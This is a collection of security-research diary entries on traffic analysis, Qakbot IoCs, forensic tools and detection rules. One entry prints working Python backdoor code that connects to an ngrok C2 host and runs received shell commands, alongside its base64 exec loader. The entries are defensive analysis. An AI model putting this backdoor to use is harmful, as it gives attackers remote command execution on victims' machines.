Introduction

It's time for another ISC traffic analysis quiz!  Like previous quizzes, we have traffic and alerts from an infected Windows computer.  This month's quiz consists of:

• a packet capture (pcap) of infection traffic
• a image of the alerts shown in Squil
• a text file listing the alerts with a few more details
• a PDF document with answers to the questions below.

The alerts were created using Security Onion running Suricata using the EmergingThreats Pro ruleset, viewed through Sguil.

You can find the pcap, alerts, and answers here.  Don't peek at the answers just yet!

Environment and quiz questions

The environment where this infection takes place:

• LAN segment range: 10.12.1.0/24 (10.12.1.0 thru 10.12.1.255)
• Domain: mrnatural.info
• Domain controller: 10.12.1.2 - MrNatural-DC
• LAN segment gateway: 10.12.1.1
• LAN segment broadcast address: 10.12.1.255

Here are questions to answer based on the pcap and the alerts:

• What is the IP address of the infected Windows host?
• What is the MAC address of the infected Windows host?
• What is the host name of the infected Windows host?
• What is the Windows user account name used on the the infected Windows host?
• What is the date and time of this infection?
• What is the SHA256 hash of the EXE or DLL that was downloaded from 5.44.43.72?
• Which two IP addresses and associated domains have HTTPS traffic with "Internet Widgets Pty" as part of the certificate data?
• Based on the alert for CnC (command and control) traffic, what type of malware caused this infection?

Requirements

This type of analysis requires Wireshark.  Wireshark is my tool of choice to review pcaps of infection activity.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

• Wireshark Tutorial: Changing Your Column Display
• Wireshark Tutorial: Display Filter Expressions
• Wireshark Tutorial: Identifying Hosts and Users
• Wireshark Tutorial: Exporting Objects from a Pcap

Furthermore, I  recommend using a non-Windows environment like BSD, Linux, or macOS to analyze malicious traffic.  This pcap contains HTTP traffic sending Windows-based malware.  If you're using a Windows host to review the pcap, your antivirus (or Windows Defender) may delete the pcap or malware.  Worst case scenario?  If you extract the malware from the pcap and accidentally run it, you might infect your Windows computer.

So beware, because there's actual malware involved for this exercise.

Final words

Again, files associated with this quiz (pcap, alerts, and answers) can be found here.

If you found this fun, we have previous traffic analysis quizzes:

• August 2020
• September 2020
• October 2020
• November 2020  

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Over the past three weeks I have applied threat intel to all the inbound traffic going to my honeypot and the stats have shown some interesting trends. The top 20 TCP ports targeted have been between 1-50 and top 20 UDP 7-11211. During this period, the sensor recorded over 301K indicators matching threat intel from known actors.

A Look at the Top 3 IPs

The port the most targeted over that period has been the Telnet (TCP/23) service with over 97% of the traffic.

As a security practitioner, I have stopped using Telnet years ago (a honeypot being the exception). To find out how widespread Telnet is available, a query for this service on Shodan[4] shows there are still thousand of host showing this port as open and/or active. This map from Censys [8] illustrate a list of 2090422 hosts matched the search query where Telnet was open. Censys only shows the first 500 locations on the map.

IP 207.244.234.226 launched a large scan on the 30 Nov (12:00-06:00) lasting for 6 hours actively scanning various TCP ports multiple times (46836 records). However, IP 88.214.24.77 has been a lot more consistent over time, scanning mostly TCP ports between 1000-1100 illustrated below:

The third IP 5.182.210.95 has been scanning a single port over the past few and it is MemoryCache (UDP/11211). This source was first report in DShield on the 14 Nov 2020 with a last report today. The reports in DShield are mostly against LDAP (UDP/389) and only one record for 11211.

Last, this is the list of top 10 IPs with Intel source, techniques and total.

Two freely and widely available intel platform Anomali Staxx[1] after registration is available for download and installed locally (has API) and AlienVault[2] can be accessed via API and is widely supported.

[1] https://www.anomali.com/resources/staxx
[2] https://otx.alienvault.com/
[3] https://isc.sans.edu/port.html?port=23
[4] https://www.shodan.io/search?query=telnet
[5] https://isc.sans.edu/ipinfo.html?ip=207.244.234.226
[6] https://isc.sans.edu/ipinfo.html?ip=88.214.24.77
[7] https://isc.sans.edu/ipinfo.html?ip=5.182.210.95
[8] https://censys.io/ipv4/map?q=protocols%3A+("23%2Ftelnet")

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Scanning by IP 91.199.118.137 (first reported in DShield end September) began early this morning which appears to be testing access to site aahwwx.52host.xyz [2] and currently there is little information available for this host. The scan is alternating between ports TCP/81 and TCP/8088. Domaintools [7] shows the root domain 52host.xyz was last updated yesterday.

The only information currently available for this site is "Welcome to nginx!"

Log Examples

20201204-225750: 192.168.25.9:8088-91.199.118.137:18360 data 'GET http://91.199.118.137:12542/19gtaf/1.txt HTTP/1.1\r\nHost: 91.199.118.137:12542\r\nUser-Agent: Go-http-client/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'
20201204-235739: 192.168.25.9:81-91.199.118.137:10406 data 'GET http://91.199.118.137:12542/19gtaf/1.txt HTTP/1.1\r\nHost: 91.199.118.137:12542\r\nUser-Agent: Go-http-client/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'
20201205-023633: 192.168.25.9:8088-91.199.118.137:57015 data 'CONNECT aahwwx.52host.xyz:443 HTTP/1.1\r\nHost: aahwwx.52host.xyz:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n'
20201205-033442: 192.168.25.9:81-91.199.118.137:57171 data 'CONNECT aahwwx.52host.xyz:443 HTTP/1.1\r\nHost: aahwwx.52host.xyz:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n'
[...]
20201205-095707: 192.168.25.9:8088-91.199.118.137:52994 data 'CONNECT aahwwx.52host.xyz:443 HTTP/1.1\r\nHost: aahwwx.52host.xyz:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n'
20201205-105705: 192.168.25.9:81-91.199.118.137:36560 data 'CONNECT aahwwx.52host.xyz:443 HTTP/1.1\r\nHost: aahwwx.52host.xyz:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n'

Indicators with ASN

91.199.118.137:12542/19gtaf/1.txt
aahwwx.52host.xyz
2606:4700:3031::6812:35a7 -> AS13335
2606:4700:3037::ac43:b70a -> AS13335
2606:4700:3036::6812:34a7
104.18.52.167 -> AS13335
172.67.183.10 -> AS42861
104.18.53.167 -> AS13335
91.199.118.137 -> AS62240

[1] https://isc.sans.edu/ipdetails.html?ip=91.199.118.137&34475
[2] https://www.robtex.com/dns-lookup/aahwwx.52host.xyz
[3] https://bgp.he.net/AS42861
[4] https://bgp.he.net/AS13335
[5] https://bgp.he.net/AS62240
[6] https://www.robtex.com/ip-lookup/91.199.118.137#analysis
[7] https://whois.domaintools.com/52host.xyz

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

My tool oledump uses indicators, you're probably most familiar with indicators M and m that indicate that a stream contains macros.

Here is an overview of all possible indicators:

• M: Macro (attributes and code)
• m: macro (attributes without code)
• E: Error (code that throws an error when decompressed)
• !: Unusual macro (code without attributes)
• O: object (embedded file)
• .: storage
• R: root entry

If you want to know more, I recorded this video:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

My base64dump tool's goals are first to detect BASE64 encoded strings (and other encodings), and second to help with the decoding.

In diary entry "Decoding Corrupt BASE64 Strings" I showed how to detect and decode a corrupt BASE64 string in one single step.

There was a very interesting and detailed reader comment on this diary entry, giving more examples of possible BASE64 corruption and how to deal with them.

In this diary entry, I'm going to cover detection and decoding in more detail.

base64dump.py is a tool that I started to find BASE64 strings inside binary files, like process dumps and PE files. Current versions support much more encodings than BASE64 (like hexadecimal). In large binary files, it can be hard to find BASE64 strings, even with the strings command. So that's the first goal of base64dump: detect the presence of encoded strings.

Let's take a look at a couple of examples. I start with a BASE64 string (aGVsbG8sIHdvcmxk, this decodes to "hello, world") surrounded by binary data (0xE9 bytes). This is my sample binary file containing a small BASE64 string:

base64dump can detect this BASE64 string inside this binary file:

So that the first goal: detection. The second goal is also visualized here: you can see the start of the decoded data.

Now, let's work with a corrupt BASE64 string. I created a sample where I replaced the last character of the BASE64 string with a byte that is not a BASE64 character (0xE9):

base64dump does not detect this corrupt BASE64 string:

The reason is that this string is a sequence of BASE64 characters: 15 characters long, but a valid BASE64 string has a length that is always a multiple of 4. 15 is not a multiple of 4, thus the string is not a valid BASE64 string and base64dump does not detect it.

Since I use my tool base64dump to detect strings like BASE64 strings, I would also want it to detect BASE64 strings with small corruptions, like one or more characters extra or less at the start or end of the string. That's why I added option -p (process) to base64dump:

With option -p, one can preprocess strings before they are decoded. This preprocessing is done via a Python function. The value of option -p, is a Python function that will preprocess strings. One of the builtin functions that help with this is L4: L4 is a function that takes a sequence of bytes as input, and returns a truncated sequence so that its lengths is a multiple of 4 (L4 = Length 4). If the input has a length that is a multiple of 4, then the input is returned unchanged.

When I use option -p with Python function L4, the corrupt BASE64 string is detected:

The advantage of this option, is that corrupt strings are also detected. You can see that the Size of the detected string is 12: that's 15 decreased to the nearest multiple of 4 (12). That is the result of function L4. base64dump finds a sequence of BASE64 characters that is 15 characters long, and thus it would be ignored. However, because of preprocessing with function L4, this sequence is truncated to 12 characters, and now it is detected.

That's the first goal: detect encoded data.

Now, in this example, not only was this corrupt BASE64 detected, but it was also decoded into data that is meaningful to us: "hello, wo".

So from this result, we know that there is indeed a BASE64 string inside that binary file, that it is corrupt, for some reason, and that the corruption happened at the end of the string. We know that because we can recognize the decoded value ("hello, ..."), and because we can understand that something is missing at the end of the decoded value.

So now that we have detected (and partially decoded), we can try to "repair" the corrupt string.

First simple test to do for this example, is to add one BASE64 character to the end of the detected BASE64 string. This too can be done with option -p, by using a lambda function that adds character/byte A to the end of its input:

Now we see some extra info: "rl@" was appended to "wo". And this confirms that we are indeed missing a character. If we would be missing 2 characters, then base64dump would not detect this. We would need to add 2 characters. Now, I also recommend to use function L4 when adding characters: this way, you'll allways end up with a valid BASE64 string:

The @ character is added because we added BASE64 character A (this represents 6 zero bits). We could also add a padding character (=):

This was an example with a corrupt character at the end of the BASE64 string.

Let's now do the same with a corrupt character at the beginning of the BASE64 string. Here I replace the first character a with a byte (0xE9):

base64dump does not detect this string:

But it does detect it when we use option -p with function L4:

This time, the BASE64 string is detected. But it is not decoded properly: we can not make sense of the decoded value. This is because we are missing one character from the beginning of the BASE64 string: one BASE64 character represents 6 bits, and thus our decoded value is shifted by 6 bits. That's why the decoded value doesn't make sense.

The solution: shift the output by 6 bits. I will show how to bit-shift the output from base64dump with my tool translate, but here I'm going to shift the output by prepending one BASE64 character:

Now the decoded value makes sense to us: there was indeed one character missing at the beginning of the BASE64 string.

If you don't get recognizable output by adding one character, then try adding 2 and 3 characters. If you still don't recognize anything, then either the BASE64 string is not actually encoding anything, or the decoded value needs to be further decoded (decompressed, decrypted, ...). This is something you could try to determine by calculating the entropy of the decoded value, for example.

We looked at BASE64 strings that were corrupt because there was one (or more) character(s) missing from the beginning or ending of the string.

Another possibility, is that there are extra characters, in stead of missing characters.

In this example, I prepend an extra character (x):

When I use base64dump, the BASE64 string is not detected:

And when I preprocess the input with function L4, the string gets detected:

But it doesn't decode to anything we recognize. So either this is a fluke, and we are not dealing with a meaningful BASE64 string, or it is not a fluke and we need to do some more processing to try to decode the value.

I could start by adding characters at the beginning until I see something recognizable, but this time, I'll do the opposite and remove characters, by using a Python slice: bytes[1:], e.g. remove the first byte from bytes. Like this:

And again, we see some meaningful data.

If we don't succeed with removing one character, then try 2 and 3 characters.

One can also remove from the end, for example one character: bytes[:-1]

I'll stop now giving examples, and I hope these simple examples illustrate how you can use my base64dump tool with option -p to 1) improve detection and 2) steer decoding.

Of course, this is a trial-and-error process. Usually, you don't know if a BASE64 string was corrupted, and if it is corrupt, how it became corrupt.

Corrupt BASE64 strings are not necessarily caused by an error (like a transmission or decoding error).

They can also be voluntary, to hinder analysis.

Or they can just happen randomly, especially when you are dealing with a binary file like a process memory dump. Inside that dump, it is perfectly possible, for example, that an existing BASE64 string (the one you are looking for, the one that encodes a malicious PowerShell command) is preceded by a 32-bit integer, and that the last byte of that integer is a valid BASE64 character. That character is right before the BASE64 string, and thus it will appear to make the BASE64 string longer by one character: and you end up with a "corrupt" BASE64 string.

In the examples here, we talked about corruption happening at the start or the beginning. It can also happen somewhere inside the BASE64 string, for example in the middle. In that case, you'll end up with 2 (corrupt) BASE64 strings, and you will need to decode them like I explained here, and then put them together.

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

December 2020 Microsoft Patch Tuesday: Exchange, Sharepoint, Dynamics, and DNS SpoofingFor the last Patch Tuesday of the year, Microsoft provided updates fixing 58 vulnerabilities, which is at the low end of what we have seen this year. 9 of the vulnerabilities are rated critical.

The largest CVSS score is 8.8 this month, which was assigned to vulnerabilities affecting Microsoft Dynamics. The 6 vulnerabilities in Microsoft Exchange should also not be ignored. One of the vulnerabilities is an information disclosure problem. But the other 5 vulnerabilities are remote code execution issues. Note that older Exchange vulnerabilities still remain unpatched at some organizations and have been used in attacks this last year. 

Sharepoint remains another regular participant in patch Tuesday with two remote code execution vulnerabilities, one reaching a CVSS score of 8.8.

In addition, Microsoft released an advisory regarding a DNS spoofing vulnerability. This DNS spoofing issue involves fragmentation, but Microsoft is not very specific as to the exact methodology. There have been a few different fragmentation related cache spoofing issues that people have written about in the last few years. The workaround is to avoid fragmentation by reducing the buffer size to 1221 bytes, which should be small enough to not cause fragmentation. As a side effect of the workaround, you may see more TCP port 53 traffic to your DNS servers.

I did not see an advisory regarding Adobe Flash. This would be the last month for an Adobe Flash advisory which will officially be retired at the end of the year.

Patch Tuesday Dashboard: https://patchtuesdaydashboard.com/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Introduction

Today's diary is a review of a Qakbot (Qbot) infection I generated on Tuesday 2020-12-08.

Qakbot generally includes follow-up malware like Cobalt Strike (such as this example), but my infection on Tuesday 2020-12-08 was a basic Qakbot infection that didn't run long enough for follow-up malware or other activity.

Of note, in late-November 2020, Qakbot underwent a version update.  I've noticed this in my day-to-day research, but nothing comprehensive has been published yet.  A few tweets about it:

• https://twitter.com/lazyactivist192/status/1332363179729575938
• https://twitter.com/_alex_il_/status/1333737189990158337
• https://twitter.com/0verfl0w_/status/1331598884431421441

I'll review some of the changes I've noticed about the update in today's diary.

Shown above:  Chain of events for the Qakbot infection we're reviewing today.

The malspam

Malspam examples I found from Tuesday 2020-12-08 were fake replies to legitimate email chains, although the example shown below might be a Qakbot-generated reply for an unsolicited spam message.

Shown above:  An example of Qakbot malspam from Tuesday 2020-12-08.

The attached ZIP archive has an Excel spreadsheet with macros designed to infect a vulnerable Windows host with Qakbot malware.  Even with the version update, these spreadsheets distributing Qakbot have the same template we've seen for the past several months.

Shown above:  Excel spreadsheet extracted from the ZIP attachment.

Infection activity

Typical for Qakbot, we see an HTTP GET request for a URL ending in .jpg that returned a Windows binary (in this case a DLL).  This often is an HTTPS URL, where we would not see the Windows binary in a pcap.  In recent moths, I've seen as many HTTPS URLs for this as I have regular HTTP URLs.

Shown above:  HTTP traffic that returned a Windows DLL file for Qakbot.

Filtering the traffic in Wireshark, we find typical Qakbot post-infection activity.  But approximately 3 hours after the initial infection, I also saw web traffic to wellsfargo[.]com, which was unusual--especially since no browser had opened on the desktop of the infected Windows host.

Shown above:  Traffic from the infection filtered in Wireshark.

The user-agent string in HTTP traffic to wellsfargo[.]com indicated it may have been caused by Google Chrome.  Keep in mind the user-agent string is often spoofed during malware infections.  I also saw web traffic associated with the Firefox web browser.  This traffic is likely related to one of the Qakbot modules; however, I could not find any modules saved to disk on my infected host.

Shown above:  Filtering the traffic in Wireshark to show Firefox traffic, and other web traffic to wellsfargo[.]com from the infected host.

Shown above: Traffic to wellsfargo[.]com appears to be from Chrome, if the user-agent string is correct.

Qakbot malware version update

Sometime in late-November 2020, Qakbot malware was updated.  I know of at least 3 related things that are noticeably different than before.

1) The Qakbot binary retrieved by Microsoft Office macros changed from an EXE to a DLL.

• Prior to the update, the initial Qakbot binary was an EXE made persistent through a Windows registry update at HKCU\SOFTWARE\Microsoft\WIndows\CurrentVersion\Run.
• After the update, the initial Qakbot binary has been a DLL file, and there is no longer a Windows registry update at HKCU\SOFTWARE\Microsoft\WIndows\CurrentVersion\Run.

2) Qakbot now creates other Windows registry updates.  These updates are located at HKCU\SOFTWARE\Microsoft under a key that consists of a unique alphabetical string for each infected host.  It consists of several entries containing encoded binary data as shown in the example below.

Shown above:  An example of Windows registry update caused by the newest version of Qakbot.

3) The directory for Qakbot artifacts under C:\Users\[username]\AppData\Roaming\Microsoft now has fewer files.  Before the version update, we  saw a Windows EXE for Qakbot in this directory, and it was kept persistent in the Windows registry (see item 1 above).  Now, the folder no longer has an EXE and some other files are missing.  Compare the two images below.

Shown above:  An example of artifact caused by the old version of Qakbot.

Shown above:  Artifacts stores to the same type of directory after the late-November 2020 version update of Qakbot.

Qakbot's version update has resulted in other characteristics of the malware, and I'm certain someone will publish a more detailed write-up about it.  These three changes are the one's I've noticed, but I focus mostly on dynamic analysis (not code analysis or reverse engineering).

Indicators of Compromise (IoC)

The following are IoCs from my Qakbot infection from Tuesday 2020-12-08.

ZIP archives from 4 malspam examples:

• 2ccc14f2bab2e9eb1d7228e225afda558fd4b52ed670303a912ace1984b35b06  Document_1204350147-Copy.zip
• fa9935e6cda06866cb5aa062c16a73fdc85bd4146dca67202d22e225ddd3193b  Document_1356928040-Copy.zip
• 0a3a6163a5e8e372fa96efbef3feb793463f4e39bd2c4d6ea03afce045f90636  Document_1495694596-Copy.zip
• 66036cf566386c159e49191125497c77c13c75778492519000b9f61a4afdedad  Document_501487929-Copy.zip

Excel spreadsheets extracted from the above ZIP archives:

• adad807fa22f398e0a40396ed65d0827f9f14baf7e1281b713dfb17e2683d743  Document_1204350147-Copy.xls
• e14f6ab34e3506d6985816af85935932fb6faf8bad9d2c7dd96d6011d7c21a33  Document_1356928040-Copy.xls
• 4e2f37d4228e78faa1f34121ee934f58e1a9862ad6f183edf4c24e08cda20363  Document_1495694596-Copy.xls
• 94d759f43bcc647f7233e19ddc160a6b43458dcde6d2ea4274c8c06b2890def2  Document_501487929-Copy.xls

HTTP traffic after enabling that returned a Qakbot DLL file:

• 35.208.146[.]4 port 80 - supyouryoga[.]com - GET /svgqcnjto/590906.jpg

Qakbot post-infection traffic:

• 62.38.114[.]12 port 2222 - HTTPS traffic caused by Qakbot
• 197.45.110[.]165 port 995 - HTTPS traffic caused by Qakbot
• port 443 - www.openssl[.]org - connectivity check caused by Qakbot
• 54.36.108[.]120 port 65400 - TCP traffic caused by Qakbot

Unusual (to me) activity from Qakbot-infected host:

• port 80 - wellsfargo[.]com - GET /
• various IP addresses over TCP port 443 - Wells Fargo-related domains - traffic caused by viewing wellsfargo[.[com
• Firefox-related HTTP and HTTPS web traffic

Malware from an infected Windows host:

• SHA256 hash: 5060806228d3f2c1afd09566d0d2fa6b2e56f844cd044c4c4e6e7ade9fef3a22
• File size: 350,928 bytes
• File retrieved from: hxxp://supyouryoga[.]com/svgqcnjto/590906.jpg
• File saved to victim as: C:\Users\[username]\AppData\Kipofe.mmaallaauu
• File description: DLL file for Qakbot retrieved by macro from Document_1495694596-Copy.xls
• Run method: Rundll32.exe [filename],DllRegisterServer

Final words

Qakbot been active for several years, and it continues to evolve.  The latest version update has some significant changes, but infection traffic on vulnerable Windows hosts remains similar to what we've seen before with Qakbot.

A pcap of the infection traffic reviewed in this dairy and 4 examples of Qakbot malspam are available here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

I spotted a malicious Python script that implements a backdoor. The interesting behavior is the use of Ngrok to connect to the C2 server. Ngrok has been used for a while by attackers. Like most services available on the Internet, it has been abused by attackers for a long time. If you're not familiar with Ngrok[1], here is the principle: You download the Ngrok client and publish your services (ex: a web server) in the wild. Ngrok acts like a reverse-proxy and allows access to your published services. Because Ngrok is very popular, it's often not considered as harmful and is allowed to bypass firewalls, NAT, etc... By default, the host assigned to your published service is random but, if you create an account, you can force the host to be used (and use it in your malicious code). Example:

# ngrok tcp --region=us --remote-addr 1.tcp.ngrok.io:65080 80

This command will expose your local web server through hxxp://1.tcp.ngrok.io:65080/

The script has been found on VT (SHA256:eb9b1aa664959d0be0acaf299f751507892d74e700d9d5202a86882d8ae896bf) and has a score of 5/59[2]. The obfuscation is performed by Base64 encoding the malicious code:

import socket
import os
import base64
exec(base64.b64decode("aW1wb3J0IHNvY ... AgICAgIHBhc3M=".encode('utf-8')).decode())

The backdoor is simple but effective:

import socket, subprocess, shutil, sys
nameoffile = sys.argv[0]
a = socket.socket()
while True:
    try:
        a.connect(("<redacted>.tcp.ngrok.io", <redacted>))
        break
    except:
        pass
while True:
    try:
        recvd = a.recv(1024)
        if recvd.decode() == "m:os":
            a.send(str(sys.platform).encode())
        if recvd.decode() == "m:hide":
            ree = shutil.move(nameoffile,'C:\\')
            a.send(bytes(nameoffile + "moved to "+ ree +" sucessfully!",'UTF-8'))
        else:
            output = os.popen(recvd.decode()).read()
            a.send(output.encode())
    except:
        pass

It is very simple. Two commands are implemented. "m:os" to report the operating system information and "m:hide" to move the script file. All other received commands will be passed to an os.popen() call to execute them and their result will be sent back to the C2.

What about the popularity of Ngrok in the malware landscape? I performed a VT retro-search to find more references to ".tcp.ngrok.io". Here are the results:

Job ID: <redacted>
Start time: 2020-12-09 13:24:35.476494 UTC
Finish time: 2020-12-09 19:22:41.084292 UTC
Scanned data size: 730.5 TB
Matches: 1535

I expected more hits but it is indeed a cool technique for attackers to hide their infrastructure. I would recommend keeping an eye on traffic to ngrok.io. To search for DNS queries like "\.(tcp|udp)\.ngrok\.io" is a good start. If not malicious, the usage of Ngrok might also reveal some shadow IT stuff in place or potential security issues (like developers sharing test applications or security controls bypass).

[1] https://ngrok.com/product
[2] https://www.virustotal.com/gui/file/eb9b1aa664959d0be0acaf299f751507892d74e700d9d5202a86882d8ae896bf/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

By now, everyone should have seen that FireEye got breached and their red team tools got stolen. What is truly unique about their response is publishing detection rules to detect the use of those tools in the wild. However, the nature of some of those rules is that the detection will be short-lived. This isn't necessarily a fault of FireEye (as I will explain below) but it is useful as an exercise in writing Yara rules (or Snort, HXIOC, STIX, et al).

For programs, particularly compiled ones, you can think of it as seperated into three parts: the stuff that makes the program do what it does, free-form text for output (error messages, requests for user input, filenames, etc), and metadata (i.e. compiler artifacts). All of these can be modified, of course, but the most difficult to modify is the "stuff that makes the program go". To do that, you need a strong understanding of the code, what the functions do, what returns are expected, and what the expected inputs are. Changing metadata or free-form text, on the other hand, doesn't affect the running of the program and detection that relies on that is transient. An attacker can simply go in, search for the strings or metadata and change them with the tooling of their choice all with no real understanding of the underlying code.

Many of FireEye's countermeasures look for free-form text or metadata and not the functioning of the tool which is why those countermeasures will likely be short-lived. That doesn't mean, however, FireEye's approach is wrong.

For instance, the below Yara rule is detecting a specific GUID for a specific project in a .csproj file. This GUID likely has nothing to do with how Rubeus actually works so it can be arbitrarily changed.

rule HackTool_MSIL_Rubeus_1
{
    meta:
        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project."
        md5 = "66e0681a500c726ed52e5ea9423d2654"
        rev = 4
        author = "FireEye"
    strings:
        $typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide
    condition:
        uint16(0) == 0x5A4D and $typelibguid
}

The approach to writing rules based on metadata or free-form text is not wrong, depending on the purpose you write the rules for. You can either write rules to detect tools or you can write tools to detect actors. Both are useful, but which you use depends on your specific objective.

Among other things, FireEye does good work in attribution of nation-state attacks. When doing the work of intelligence analysis, I love free-form text. It is extremely hard for an attacker to put in free-form text that doesn't give me something to work with, especially when there is a reasonably sized body of text to work with. For instance, an attacker using the word "colour" vs "color" tells me (potentially) something, namely whether they speak American or speak proper English. I have no inside knowledge as to how FireEye writes their rules, but it comes as little surprise to me that many of the rules are written in a way that seems more calibrated to detect actors than tools. For instance, lots of actors use Cobalt Strike, but if I want to know who is behind a specific campaign, I need to look for other things than just the use of Cobalt Strike.

Both approaches are valid, but likely most enterprises are more interested in detecting the use of FireEye's specific tools rather than the attributive information associated with this tools, so other techniques will be needed. That said, both approaches are still valid for their defined use-case, as long as you are intentional about which road you want to travel (or that you're traveling both roads simultaenously by having rules that have both approaches).

However, writing detection logic and thinking through things can sometimes be lacking which leads to completely ineffective rule writing. One of my favorite Snort rules for this example is SID 1239.

# alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"OS-WINDOWS RFParalyze Attempt"; flow:to_server,established; content:"BEAVIS"; content:"yep yep"; metadata:ruleset community; reference:bugtraq,1163; reference:cve,2000-0347; reference:nessus,10392; classtype:attempted-recon; sid:1239; rev:14;)

This is obviously an old rule on CVE-2000-0347. It was discussed on Bugtraq back in the day and you can read the disclosure with a PoC here. What this PoC does is popup a window on a remote vulnerable Windows machine with the title "BEAVIS" and the content "yep yep" (the comment in the PoC is wrong, it is "yep" not "yeh". This Snort rule doesn't detect the exploit, it only detects the PoC payload which means any weaponized use of that exploit would be undetected. All that it would detect is the script kiddies lurking on Bugtraq who downloaded the PoC and launched it against the Internet (in fairness, this was a very common thing to happen back in the bugtaq full disclosure days). However, if I am an enterprise looking to protect myself, this rule gives me nothing. No serious attacker is going to launch popups on remote workstations with Beavis and Butthead references.

So for those of you writing Yara, Snort, or other detection rules, be mindful of what objective you are trying to accomplish with the detection and pick your logic based on what is hopefully enduring and not transitory features of the attacker.

--
John Bambenek
bambenek \at\ gmail /dot/ com
Bambenek Labs - Well Fed Intelligence

--

John Bambenek

bambenek \at\ gmail /dot/ com

Bambenek Labs - Well Fed Intelligence

A couple of people shared recent maldocs with me, like this one.

These turn out to be Excel spreadsheets with Excel 4 macros, saved using Excel 95 file format. This format uses BIFF5/BIFF7 records (a workbook stream is composed of BIFF records).

I've updated my plugin plugin_biff.py to recognize this format:

For the BIFF record 0809, the beginning of file record (BOF), my plugin now indicates BIFF5/BIFF7 for this ancient format.

If this spreadsheet is password protected, a FILEPASS record will follow the the BOF record. The data of all BIFF records following this FILEPASS records is encrypted (except for a few record types). The encryption is XOR or RC4.

In this example, the encrypton is "XOR obfuscation" and it predates the BIFF8 format.

Unfortunately, I didn't find open source tools to decrypt this ancient format.

msoffice-crypt.exe does support XOR obfuscation, but only for the BIFF8 format. Not older formats like this one.

msoffcrypto (used by my tool msoffcrypto-crack) does not yet support XOR obfuscation. This is on the todo list.

Dynamic analysis is required to extract the IOCs of maldocs like these.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

The SANS Holiday Hack Challenge is an annual, free CTF.

For the third year, it includes KringleCon 2020, a free virtual online hacker conference hosted on YouTube.

And of course, the videos of the first and second KringleCon are still online too.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com